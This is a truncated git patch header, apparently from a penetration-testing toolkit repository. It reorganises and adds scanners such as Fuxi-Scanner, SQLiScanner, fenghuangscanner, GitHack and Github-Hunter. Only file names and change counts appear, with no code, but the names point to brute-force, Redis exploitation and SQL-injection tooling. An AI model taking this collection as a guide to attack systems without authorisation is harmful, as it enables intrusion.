From 60b7ee4937143f7dcef530a2baad1d961299e3ce Mon Sep 17 00:00:00 2001 From: InfoSec <1241112575@qq.com> Date: Mon, 14 Jan 2019 22:26:13 +0800 Subject: [PATCH] PEST --- {burp => Burpsuite}/Extender | 0 {burp => Burpsuite}/下载链接.txt | 0 DBScanner/{DBScanner-master => }/.gitignore | 0 DBScanner/{DBScanner-master => }/LICENSE | 0 DBScanner/{DBScanner-master => }/README.md | 0 .../{DBScanner-master => }/about oracle.txt | 0 DBScanner/{DBScanner-master => }/dbscan.py | 0 DBScanner/{DBScanner-master => }/scan.png | Bin .../{Fuxi-Scanner-master => }/.gitattributes | 0 .../{Fuxi-Scanner-master => }/.gitignore | 0 .../{Fuxi-Scanner-master => }/LICENSE | 0 .../{Fuxi-Scanner-master => }/README.md | 0 .../doc/INSTALL.en.md | 0 .../doc/INSTALL.zh.md | 0 .../doc/README.zh.md | 0 .../doc/images/fuxi_acunetix_new_scan.png | Bin .../doc/images/fuxi_asset_new.png | Bin .../doc/images/fuxi_asset_service_search.png | Bin .../doc/images/fuxi_auth_new_scan.png | Bin .../doc/images/fuxi_dashboard.png | Bin .../doc/images/fuxi_domain_list.png | Bin .../doc/images/fuxi_domain_new_scan.png | Bin .../doc/images/fuxi_poc_new_scan.png | Bin .../doc/images/fuxi_poc_plugin_management.png | Bin .../doc/images/fuxi_port_scanner.png | Bin .../doc/images/fuxi_settings.png | Bin .../fuxi/__init__.py | 0 .../{Fuxi-Scanner-master => }/fuxi/app.py | 0 .../fuxi/static/css/dropzone.css | 0 .../css/duallistbox/bootstrap-duallistbox.css | 0 .../css/duallistbox/bootstrap-multiselect.css | 0 .../font-awesome-4.7.0/css/font-awesome.css | 0 .../font-awesome-4.7.0/fonts/FontAwesome.otf | Bin .../fonts/fontawesome-webfont.eot | Bin .../fonts/fontawesome-webfont.ttf | Bin .../fonts/fontawesome-webfont.woff | Bin .../fonts/fontawesome-webfont.woff2 | Bin .../fuxi/static/css/main.css | 0 .../fuxi/static/download/test | 0 .../js/bootstrap/bootstrap-multiselect.js | 0 .../fuxi/static/js/bootstrap/bootstrap.min.js | 0 .../fuxi/static/js/jquery/jquery-3.2.1.min.js | 0 .../js/jquery/jquery.bootstrap-duallistbox.js | 0 .../fuxi/static/js/main.js | 0 .../fuxi/static/js/plugins/Chart.js | 0 .../fuxi/static/js/plugins/FeedEk.js | 0 .../js/plugins/bootstrap-datetimepicker.js | 0 .../js/plugins/dataTables.bootstrap.min.js | 0 .../fuxi/static/js/plugins/dropzone.js | 0 .../js/plugins/jquery.dataTables.min.js | 0 .../fuxi/static/js/plugins/laydate/laydate.js | 0 .../laydate/theme/default/font/iconfont.eot | Bin .../laydate/theme/default/font/iconfont.svg | 0 .../laydate/theme/default/font/iconfont.ttf | Bin .../laydate/theme/default/font/iconfont.woff | Bin .../plugins/laydate/theme/default/laydate.css | 0 .../fuxi/static/js/plugins/pace.min.js | 0 .../fuxi/static/js/plugins/select2.min.js | 0 .../js/plugins/sweetalert/sweetalert.min.js | 0 .../fuxi/static/js/popper.min.js | 0 .../fuxi/static/js/server/acunetix-scanner.js | 0 .../fuxi/static/js/server/asset-management.js | 0 .../static/js/server/asset-services-list.js | 0 .../static/js/server/auth-tester-tasks.js | 0 .../fuxi/static/js/server/checkbox.js | 0 .../fuxi/static/js/server/dashboard.js | 0 .../fuxi/static/js/server/new-asset.js | 0 .../fuxi/static/js/server/new-auth-tester.js | 0 .../fuxi/static/js/server/new-scan.js | 0 .../static/js/server/plugin-management.js | 0 .../fuxi/static/js/server/port-scanner.js | 0 .../fuxi/static/js/server/search.js | 0 .../fuxi/static/js/server/settings.js | 0 .../fuxi/static/js/server/subdomain-brute.js | 0 .../fuxi/static/js/server/subdomain-list.js | 0 .../fuxi/static/js/server/task-management.js | 0 .../fuxi/static/js/server/update.js | 0 .../fuxi/static/js/server/vulnerability.js | 0 .../fuxi/static/js/server/week-passwd-list.js | 0 .../fuxi/templates/404.html | 0 .../fuxi/templates/500.html | 0 .../fuxi/templates/acunetix-scanner.html | 0 .../fuxi/templates/acunetix-tasks.html | 0 .../fuxi/templates/advanced-option.html | 0 .../fuxi/templates/asset-management.html | 0 .../fuxi/templates/asset-services.html | 0 .../fuxi/templates/auth-tester-tasks.html | 0 .../fuxi/templates/base.html | 0 .../fuxi/templates/dashboard.html | 0 .../fuxi/templates/index.html | 0 .../fuxi/templates/login.html | 0 .../fuxi/templates/new-asset.html | 0 .../fuxi/templates/new-auth-tester.html | 0 .../fuxi/templates/new-scan.html | 0 .../fuxi/templates/plugin-management.html | 0 .../fuxi/templates/port-scanner.html | 0 .../fuxi/templates/search.html | 0 .../fuxi/templates/subdomain-brute.html | 0 .../fuxi/templates/subdomain-list.html | 0 .../fuxi/templates/system-config.html | 0 .../fuxi/templates/task-management.html | 0 .../fuxi/templates/vulnerability.html | 0 .../fuxi/templates/week-passwd-list.html | 0 .../fuxi/views/__init__.py | 0 .../fuxi/views/acunetix_scanner.py | 0 .../fuxi/views/asset_management.py | 0 .../fuxi/views/auth_tester.py | 0 .../fuxi/views/authenticate.py | 0 .../fuxi/views/dashboard.py | 0 .../fuxi/views/index.py | 0 .../fuxi/views/lib/__init__.py | 0 .../fuxi/views/lib/get_title.py | 0 .../fuxi/views/lib/mongo_db.py | 0 .../fuxi/views/lib/parse_target.py | 0 .../fuxi/views/modules/__init__.py | 0 .../modules/acunetix_scanner/__init__.py | 0 .../modules/acunetix_scanner/awvs_api.py | 0 .../views/modules/auth_tester/__init__.py | 0 .../views/modules/auth_tester/auth_scanner.py | 0 .../views/modules/auth_tester/hydra_plugin.py | 0 .../fuxi/views/modules/discovery/__init__.py | 0 .../modules/discovery/asset_discovery.py | 0 .../views/modules/port_scanner/__init__.py | 0 .../modules/port_scanner/nmap_scanner.py | 0 .../fuxi/views/modules/scanner/__init__.py | 0 .../views/modules/scanner/parse_plugin.py | 0 .../fuxi/views/modules/scanner/poc_scanner.py | 0 .../fuxi/views/modules/subdomain/__init__.py | 0 .../views/modules/subdomain/domain_brute.py | 0 .../fuxi/views/plugin_management.py | 0 .../fuxi/views/port_scanner.py | 0 .../fuxi/views/settings.py | 0 .../fuxi/views/subdomain_brute.py | 0 .../fuxi/views/vul_scanner.py | 0 .../{Fuxi-Scanner-master => }/fuxi_scanner.py | 0 .../migration/DataModels | 0 .../migration/start.py | 0 .../requirements.txt | 0 Fuxi-Scanner/{Fuxi-Scanner-master => }/run.sh | 0 GitHack-master/GitHack.py | 93 ++++++++ GitHack-master/README.md | 38 +++ .../lib}/__init__.py | 0 GitHack-master/lib/__init__.pyc | Bin 0 -> 128 bytes GitHack-master/lib/parser.py | 135 +++++++++++ GitHack-master/lib/parser.pyc | Bin 0 -> 3062 bytes Github-Hunter-master/GithubHunter.py | 219 ++++++++++++++++++ Github-Hunter-master/README.md | 55 +++++ Github-Hunter-master/info.ini.example | 30 +++ Github-Hunter-master/requirements.txt | 3 + .../{SQLiScanner-master => }/.gitignore | 0 SQLiScanner/{SQLiScanner-master => }/LICENSE | 0 .../{SQLiScanner-master => }/README.md | 0 .../{SQLiScanner-master => }/README_zh.md | 0 .../scanner => SQLiScanner}/__init__.py | 0 .../SQLiScanner/settings.py | 0 .../SQLiScanner/urls.py | 0 .../SQLiScanner/wsgi.py | 0 .../{SQLiScanner-master => }/_config.yml | 0 .../{SQLiScanner-master => }/manage.py | 0 .../{SQLiScanner-master => }/public/build.sh | 0 .../public/favicon.ico | Bin .../public/index.html | 0 .../public/package.json | 0 .../public/src/AppConfig.js | 0 .../components/Tasks/SqlInjectScan/Chart.js | 0 .../components/Tasks/SqlInjectScan/Index.js | 0 .../components/Tasks/SqlInjectScan/Result.js | 0 .../Tasks/SqlInjectScan/UploadFile.js | 0 .../public/src/index.js | 0 .../src/layouts/MainLayout/MainLayout.css | 0 .../src/layouts/MainLayout/MainLayout.js | 0 .../public/src/logo.svg | 0 .../public/src/routes/index.js | 0 .../{SQLiScanner-master => }/requirements.txt | 0 .../comm => SQLiScanner/scanner}/__init__.py | 0 .../{SQLiScanner-master => }/scanner/admin.py | 0 .../{SQLiScanner-master => }/scanner/apps.py | 0 .../scanner/models.py | 0 .../scanner/serializers.py | 0 .../{SQLiScanner-master => }/scanner/tasks.py | 0 .../{SQLiScanner-master => }/scanner/views.py | 0 .../static/css/app.css | 0 .../static/favicon.ico | Bin .../{SQLiScanner-master => }/static/js/app.js | 0 .../templates/index.html | 0 Windows_scripts/FolderHide.bat | 17 ++ Windows_scripts/FolderUnhide.bat | 17 ++ .../README.md | 0 .../conf/pop3.conf => comm/__init__.py} | 0 .../comm/__init__.pyc | Bin .../comm/config.py | 0 .../comm/config.pyc | Bin .../comm/portscan.py | 0 .../comm/portscan.pyc | Bin .../comm/printers.py | 0 .../comm/printers.pyc | Bin .../conf/.DS_Store | Bin .../conf/.svn/all-wcprops | 0 .../conf/.svn/entries | 0 .../conf/.svn/text-base/config.txt.svn-base | 0 .../conf/ftp.conf | 0 .../conf/ldapd.conf | 0 .../conf/mongodb.conf | 0 .../conf/mssql.conf | 0 .../conf/mysql.conf | 0 fenghuangscanner/conf/pop3.conf | 0 .../conf/postgres.conf | 0 .../conf/signs.conf | 0 .../conf/smb.conf | 0 .../conf/snmp.conf | 0 .../conf/ssh.conf | 0 .../conf/tomcat.conf | 0 .../conf/vnc.conf | 0 .../conf/web.conf | 0 .../factorys/__init__.py | 0 .../factorys/__init__.pyc | Bin .../factorys/pluginFactory.py | 0 .../factorys/pluginFactory.pyc | Bin .../{fenghuangscanner_v3-master => }/main.py | 0 .../plugins/.DS_Store | Bin .../plugins/__init__.py | 0 .../plugins/__init__.pyc | Bin .../plugins/ftp.py | 0 .../plugins/ftp.pyc | Bin .../plugins/ldapd.py | 0 .../plugins/ldapd.pyc | Bin .../plugins/mongodb.py | 0 .../plugins/mongodb.pyc | Bin .../plugins/mssql.py | 0 .../plugins/mssql.pyc | Bin .../plugins/mysql.py | 0 .../plugins/mysql.pyc | Bin .../plugins/ndr.pyc | Bin .../plugins/pop3.py | 0 .../plugins/pop3.pyc | Bin .../plugins/postgres.py | 0 .../plugins/postgres.pyc | Bin .../plugins/printers.pyc | Bin .../plugins/redisexp.py | 0 .../plugins/redisexp.pyc | Bin .../plugins/rsync.py | 0 .../plugins/rsync.pyc | Bin .../plugins/rsynclib.py | 0 .../plugins/rsynclib.pyc | Bin .../plugins/rsyncs.pyc | Bin .../plugins/smb.py | 0 .../plugins/smb.pyc | Bin .../plugins/snmp.py | 0 .../plugins/snmp.pyc | Bin .../plugins/ssh.py | 0 .../plugins/ssh.pyc | Bin .../plugins/ssltest.py | 0 .../plugins/ssltest.pyc | Bin .../plugins/tomcat.pyc | Bin .../plugins/vnc.py | 0 .../plugins/vnc.pyc | Bin .../plugins/vnclib.py | 0 .../plugins/vnclib.pyc | Bin .../plugins/web.py | 0 .../plugins/web.pyc | Bin .../requirements.txt | 0 .../result/.DS_Store | Bin 262 files changed, 607 insertions(+) rename {burp => Burpsuite}/Extender (100%) rename {burp => Burpsuite}/下载链接.txt (100%) rename DBScanner/{DBScanner-master => }/.gitignore (100%) rename DBScanner/{DBScanner-master => }/LICENSE (100%) rename DBScanner/{DBScanner-master => }/README.md (100%) rename DBScanner/{DBScanner-master => }/about oracle.txt (100%) rename DBScanner/{DBScanner-master => }/dbscan.py (100%) rename DBScanner/{DBScanner-master => }/scan.png (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/.gitattributes (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/.gitignore (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/LICENSE (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/README.md (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/doc/INSTALL.en.md (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/doc/INSTALL.zh.md (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/doc/README.zh.md (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/doc/images/fuxi_acunetix_new_scan.png (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/doc/images/fuxi_asset_new.png (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/doc/images/fuxi_asset_service_search.png (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/doc/images/fuxi_auth_new_scan.png (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/doc/images/fuxi_dashboard.png (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/doc/images/fuxi_domain_list.png (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/doc/images/fuxi_domain_new_scan.png (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/doc/images/fuxi_poc_new_scan.png (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/doc/images/fuxi_poc_plugin_management.png (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/doc/images/fuxi_port_scanner.png (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/doc/images/fuxi_settings.png (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/__init__.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/app.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/css/dropzone.css (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/css/duallistbox/bootstrap-duallistbox.css (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/css/duallistbox/bootstrap-multiselect.css (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/css/font-awesome-4.7.0/css/font-awesome.css (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/css/font-awesome-4.7.0/fonts/FontAwesome.otf (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.eot (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.ttf (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.woff (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.woff2 (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/css/main.css (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/download/test (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/bootstrap/bootstrap-multiselect.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/bootstrap/bootstrap.min.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/jquery/jquery-3.2.1.min.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/jquery/jquery.bootstrap-duallistbox.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/main.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/plugins/Chart.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/plugins/FeedEk.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/plugins/bootstrap-datetimepicker.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/plugins/dataTables.bootstrap.min.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/plugins/dropzone.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/plugins/jquery.dataTables.min.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/plugins/laydate/laydate.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.eot (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.svg (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.ttf (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.woff (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/plugins/laydate/theme/default/laydate.css (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/plugins/pace.min.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/plugins/select2.min.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/plugins/sweetalert/sweetalert.min.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/popper.min.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/server/acunetix-scanner.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/server/asset-management.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/server/asset-services-list.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/server/auth-tester-tasks.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/server/checkbox.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/server/dashboard.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/server/new-asset.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/server/new-auth-tester.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/server/new-scan.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/server/plugin-management.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/server/port-scanner.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/server/search.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/server/settings.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/server/subdomain-brute.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/server/subdomain-list.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/server/task-management.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/server/update.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/server/vulnerability.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/static/js/server/week-passwd-list.js (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/404.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/500.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/acunetix-scanner.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/acunetix-tasks.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/advanced-option.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/asset-management.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/asset-services.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/auth-tester-tasks.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/base.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/dashboard.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/index.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/login.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/new-asset.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/new-auth-tester.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/new-scan.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/plugin-management.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/port-scanner.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/search.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/subdomain-brute.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/subdomain-list.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/system-config.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/task-management.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/vulnerability.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/templates/week-passwd-list.html (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/__init__.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/acunetix_scanner.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/asset_management.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/auth_tester.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/authenticate.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/dashboard.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/index.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/lib/__init__.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/lib/get_title.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/lib/mongo_db.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/lib/parse_target.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/modules/__init__.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/modules/acunetix_scanner/__init__.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/modules/acunetix_scanner/awvs_api.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/modules/auth_tester/__init__.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/modules/auth_tester/auth_scanner.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/modules/auth_tester/hydra_plugin.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/modules/discovery/__init__.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/modules/discovery/asset_discovery.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/modules/port_scanner/__init__.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/modules/port_scanner/nmap_scanner.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/modules/scanner/__init__.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/modules/scanner/parse_plugin.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/modules/scanner/poc_scanner.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/modules/subdomain/__init__.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/modules/subdomain/domain_brute.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/plugin_management.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/port_scanner.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/settings.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/subdomain_brute.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi/views/vul_scanner.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/fuxi_scanner.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/migration/DataModels (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/migration/start.py (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/requirements.txt (100%) rename Fuxi-Scanner/{Fuxi-Scanner-master => }/run.sh (100%) create mode 100644 GitHack-master/GitHack.py create mode 100644 GitHack-master/README.md rename {SQLiScanner/SQLiScanner-master/SQLiScanner => GitHack-master/lib}/__init__.py (100%) create mode 100644 GitHack-master/lib/__init__.pyc create mode 100644 GitHack-master/lib/parser.py create mode 100644 GitHack-master/lib/parser.pyc create mode 100644 Github-Hunter-master/GithubHunter.py create mode 100644 Github-Hunter-master/README.md create mode 100644 Github-Hunter-master/info.ini.example create mode 100644 Github-Hunter-master/requirements.txt rename SQLiScanner/{SQLiScanner-master => }/.gitignore (100%) rename SQLiScanner/{SQLiScanner-master => }/LICENSE (100%) rename SQLiScanner/{SQLiScanner-master => }/README.md (100%) rename SQLiScanner/{SQLiScanner-master => }/README_zh.md (100%) rename SQLiScanner/{SQLiScanner-master/scanner => SQLiScanner}/__init__.py (100%) rename SQLiScanner/{SQLiScanner-master => }/SQLiScanner/settings.py (100%) rename SQLiScanner/{SQLiScanner-master => }/SQLiScanner/urls.py (100%) rename SQLiScanner/{SQLiScanner-master => }/SQLiScanner/wsgi.py (100%) rename SQLiScanner/{SQLiScanner-master => }/_config.yml (100%) rename SQLiScanner/{SQLiScanner-master => }/manage.py (100%) rename SQLiScanner/{SQLiScanner-master => }/public/build.sh (100%) rename SQLiScanner/{SQLiScanner-master => }/public/favicon.ico (100%) rename SQLiScanner/{SQLiScanner-master => }/public/index.html (100%) rename SQLiScanner/{SQLiScanner-master => }/public/package.json (100%) rename SQLiScanner/{SQLiScanner-master => }/public/src/AppConfig.js (100%) rename SQLiScanner/{SQLiScanner-master => }/public/src/components/Tasks/SqlInjectScan/Chart.js (100%) rename SQLiScanner/{SQLiScanner-master => }/public/src/components/Tasks/SqlInjectScan/Index.js (100%) rename SQLiScanner/{SQLiScanner-master => }/public/src/components/Tasks/SqlInjectScan/Result.js (100%) rename SQLiScanner/{SQLiScanner-master => }/public/src/components/Tasks/SqlInjectScan/UploadFile.js (100%) rename SQLiScanner/{SQLiScanner-master => }/public/src/index.js (100%) rename SQLiScanner/{SQLiScanner-master => }/public/src/layouts/MainLayout/MainLayout.css (100%) rename SQLiScanner/{SQLiScanner-master => }/public/src/layouts/MainLayout/MainLayout.js (100%) rename SQLiScanner/{SQLiScanner-master => }/public/src/logo.svg (100%) rename SQLiScanner/{SQLiScanner-master => }/public/src/routes/index.js (100%) rename SQLiScanner/{SQLiScanner-master => }/requirements.txt (100%) rename {fenghuangscanner/fenghuangscanner_v3-master/comm => SQLiScanner/scanner}/__init__.py (100%) rename SQLiScanner/{SQLiScanner-master => }/scanner/admin.py (100%) rename SQLiScanner/{SQLiScanner-master => }/scanner/apps.py (100%) rename SQLiScanner/{SQLiScanner-master => }/scanner/models.py (100%) rename SQLiScanner/{SQLiScanner-master => }/scanner/serializers.py (100%) rename SQLiScanner/{SQLiScanner-master => }/scanner/tasks.py (100%) rename SQLiScanner/{SQLiScanner-master => }/scanner/views.py (100%) rename SQLiScanner/{SQLiScanner-master => }/static/css/app.css (100%) rename SQLiScanner/{SQLiScanner-master => }/static/favicon.ico (100%) rename SQLiScanner/{SQLiScanner-master => }/static/js/app.js (100%) rename SQLiScanner/{SQLiScanner-master => }/templates/index.html (100%) create mode 100644 Windows_scripts/FolderHide.bat create mode 100644 Windows_scripts/FolderUnhide.bat rename fenghuangscanner/{fenghuangscanner_v3-master => }/README.md (100%) rename fenghuangscanner/{fenghuangscanner_v3-master/conf/pop3.conf => comm/__init__.py} (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/comm/__init__.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/comm/config.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/comm/config.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/comm/portscan.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/comm/portscan.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/comm/printers.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/comm/printers.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/conf/.DS_Store (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/conf/.svn/all-wcprops (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/conf/.svn/entries (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/conf/.svn/text-base/config.txt.svn-base (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/conf/ftp.conf (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/conf/ldapd.conf (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/conf/mongodb.conf (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/conf/mssql.conf (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/conf/mysql.conf (100%) create mode 100644 fenghuangscanner/conf/pop3.conf rename fenghuangscanner/{fenghuangscanner_v3-master => }/conf/postgres.conf (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/conf/signs.conf (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/conf/smb.conf (100%) rename 